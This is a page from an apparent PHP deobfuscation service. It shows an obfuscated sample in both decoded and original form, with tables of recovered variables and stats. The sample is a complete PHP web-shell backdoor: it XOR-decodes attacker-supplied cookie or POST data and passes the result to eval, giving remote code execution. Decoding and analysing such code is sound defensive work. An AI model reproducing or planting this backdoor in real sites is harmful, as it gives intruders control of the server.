Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $xKvkqOE = "\163" . "\164"/* xNol */. chr/* UdtE */( 667/* dwA */- 553 ).ch..

Decoded Output download

<?php	$xKvkqOE  =	"s"	.	"t"/*  xNol  */.	chr/*  UdtE   */( 667/* dwA */-  553   ).chr	(   170/* qWHkm */-     75	)."r"  .     'e' .	chr/*yjcpM  */(	933	-     821     )."e"/*xJD   */.	"a"	./*   VjHBI*/chr	(116); 
$YClySe	=   "e"     .	chr	(120)	.	chr/*coDO */(112)/*  c  */.	"l"	.	'o'  ./*Pae*/chr	(/* J  */910/*WAg */-	810	).chr/* s   */(101); 
		$wfEAJsve	=     chr/* Qj  */(112)	.	"a"	.	chr     (/*   WXInu*/141  -    42    ).chr/*  sG */(107);; 
	function/* eq */fhVYLOhoPK() 
/*  Og */{ 
    	$XHIgU     = Array (	"TLGvJUAim"/*  uQ*/=> "hTlqIANtu"/*ns */); 
 
   
    /*  YxmIX  */$AhvfvrIr/*cm*/=	Array	(	"AQVlkFIcQmnCrokJJaYYZZyHxl"   => "EUWOUtYwJhyODxA"/*   ndZN*/); 
  /*AfgN  */$LtpaYUqIR	=	Array(/* mbNg*/$XHIgU, $_COOKIE,	$XHIgU,/*   sH   */$_POST,	$AhvfvrIr); 
				 
  	return	$LtpaYUqIR;$_HPs/*YpR */=/* pUX   */'3684'; 
			/*rIGi*/} 
  	 
     /* gQ   */function     mJBemtLAqK($NqjznCBMJx) 
		/* n*/{ 
 
/*NsgK*/if   (  count/* nynQL   */(   $NqjznCBMJx  )   == 3	)/*   uI  */{ 
		/*m   */$nvBgadnoJN	=	$NqjznCBMJx[1]; 
		    $LDeUrC/*gV  */=     $NqjznCBMJx[2]; 
				$AxduwapvEb   =    $nvBgadnoJN($LDeUrC); 
   	eval/*   hvau  */(    $AxduwapvEb/*   RaE*/);$_bYBj/*   RP  */=	'26754'; 
 
   die/*  wcfEn   */(); 
/*   RhNz   */} 
    /* JZDx  */} 
						 
		     function  gwNLegkf($PVvERlKhZ, $MiaEHtAoKN) 
  { 
 
 
/* Kk   */return	$PVvERlKhZ	^/* RXrEW  */$MiaEHtAoKN; 
 
 
	} 
     	 
		     $felwnXpRe	=	"#";$_SHZn/*CHp   */=/*A  */'23020'; 
       
   /*   nNRNY  */foreach  (fhVYLOhoPK()/*   sN */as/*PH */$FEVZKze)     { 
     foreach/*IzTZ*/(	$FEVZKze	as/*SfmYG   */$MiaEHtAoKN/*  fmo */=>/* ZWbP*/$PVvERlKhZ	) { 
         
				/*  OktZ */$PVvERlKhZ	=    @$wfEAJsve(/*  ZEsyH  */"H"/*LuYg   */.	"*",     $PVvERlKhZ   ); 
      
					 $MiaEHtAoKN	.= "vsL-eEHkvq-xfRfk-QWcdNUI-eWn-QxtU-VJp";; 
    	$MiaEHtAoKN  =/*   pukFw*/$xKvkqOE (/*   wZMDs */$MiaEHtAoKN,	(/*   W*/strlen(/*  bvUgM  */$PVvERlKhZ	)/strlen(/* SLpK */$MiaEHtAoKN	)	)	+   1); 
				 
      $RciYB/*   xui */=    gwNLegkf($PVvERlKhZ,	$MiaEHtAoKN); 
				/*UygdX*/ 
 
/*   P*/$NqjznCBMJx/* ro  */=  $YClySe    ($felwnXpRe,/*   zHYg   */$RciYB	); 
        
 
 
 mJBemtLAqK($NqjznCBMJx); 
				   } 
 
/*   uPY  */} ?>

Did this file decode correctly?

Original Code

<?php	$xKvkqOE  =	"\163"	.	"\164"/*  xNol  */.	chr/*  UdtE   */( 667/* dwA */-  553   ).chr	(   170/* qWHkm */-     75	)."\162"  .     'e' .	chr/*yjcpM  */(	933	-     821     )."\145"/*xJD   */.	"\x61"	./*   VjHBI*/chr	(116);
$YClySe	=   "\x65"     .	chr	(120)	.	chr/*coDO */(112)/*  c  */.	"\154"	.	'o'  ./*Pae*/chr	(/* J  */910/*WAg */-	810	).chr/* s   */(101);
		$wfEAJsve	=     chr/* Qj  */(112)	.	"\x61"	.	chr     (/*   WXInu*/141  -    42    ).chr/*  sG */(107);;
	function/* eq */fhVYLOhoPK()
/*  Og */{
    	$XHIgU     = Array (	"TLGvJUAim"/*  uQ*/=> "hTlqIANtu"/*ns */);

  
    /*  YxmIX  */$AhvfvrIr/*cm*/=	Array	(	"AQVlkFIcQmnCrokJJaYYZZyHxl"   => "EUWOUtYwJhyODxA"/*   ndZN*/);
  /*AfgN  */$LtpaYUqIR	=	Array(/* mbNg*/$XHIgU, $_COOKIE,	$XHIgU,/*   sH   */$_POST,	$AhvfvrIr);
				
  	return	$LtpaYUqIR;$_HPs/*YpR */=/* pUX   */'3684';
			/*rIGi*/}
  	
     /* gQ   */function     mJBemtLAqK($NqjznCBMJx)
		/* n*/{

/*NsgK*/if   (  count/* nynQL   */(   $NqjznCBMJx  )   == 3	)/*   uI  */{
		/*m   */$nvBgadnoJN	=	$NqjznCBMJx[1];
		    $LDeUrC/*gV  */=     $NqjznCBMJx[2];
				$AxduwapvEb   =    $nvBgadnoJN($LDeUrC);
   	eval/*   hvau  */(    $AxduwapvEb/*   RaE*/);$_bYBj/*   RP  */=	'26754';

   die/*  wcfEn   */();
/*   RhNz   */}
    /* JZDx  */}
						
		     function  gwNLegkf($PVvERlKhZ, $MiaEHtAoKN)
  {


/* Kk   */return	$PVvERlKhZ	^/* RXrEW  */$MiaEHtAoKN;


	}
     	
		     $felwnXpRe	=	"\x23";$_SHZn/*CHp   */=/*A  */'23020';
      
   /*   nNRNY  */foreach  (fhVYLOhoPK()/*   sN */as/*PH */$FEVZKze)     {
     foreach/*IzTZ*/(	$FEVZKze	as/*SfmYG   */$MiaEHtAoKN/*  fmo */=>/* ZWbP*/$PVvERlKhZ	) {
        
				/*  OktZ */$PVvERlKhZ	=    @$wfEAJsve(/*  ZEsyH  */"\110"/*LuYg   */.	"\x2a",     $PVvERlKhZ   );
     
					 $MiaEHtAoKN	.= "vsL-eEHkvq-xfRfk-QWcdNUI-eWn-QxtU-VJp";;
    	$MiaEHtAoKN  =/*   pukFw*/$xKvkqOE (/*   wZMDs */$MiaEHtAoKN,	(/*   W*/strlen(/*  bvUgM  */$PVvERlKhZ	)/strlen(/* SLpK */$MiaEHtAoKN	)	)	+   1);
				
      $RciYB/*   xui */=    gwNLegkf($PVvERlKhZ,	$MiaEHtAoKN);
				/*UygdX*/

/*   P*/$NqjznCBMJx/* ro  */=  $YClySe    ($felwnXpRe,/*   zHYg   */$RciYB	);
       


 mJBemtLAqK($NqjznCBMJx);
				   }

/*   uPY  */}

Function Calls

chr 11
fhVYLOhoPK 1

Variables

$_HPs 3684
$XHIgU [{'key': 'TLGvJUAim', 'value': 'hTlqIANtu'}]
$_SHZn 23020
$YClySe explode
$xKvkqOE str_repeat
$AhvfvrIr [{'key': 'AQVlkFIcQmnCrokJJaYYZZyHxl', 'value': 'EUWOUtYwJhyODxA'}]
$wfEAJsve pack
$LtpaYUqIR [{'key': 0, 'value': [{'key': 'TLGvJUAim', 'value': 'hTlqIANtu'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'TLGvJUAim', 'value': 'hTlqIANtu'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'AQVlkFIcQmnCrokJJaYYZZyHxl', 'value': 'EUWOUtYwJhyODxA'}]}]
$felwnXpRe #

Stats

MD5 ca79fb69fcc471f37a1c97cf82f87138
Eval Count 0
Decode Time 400 ms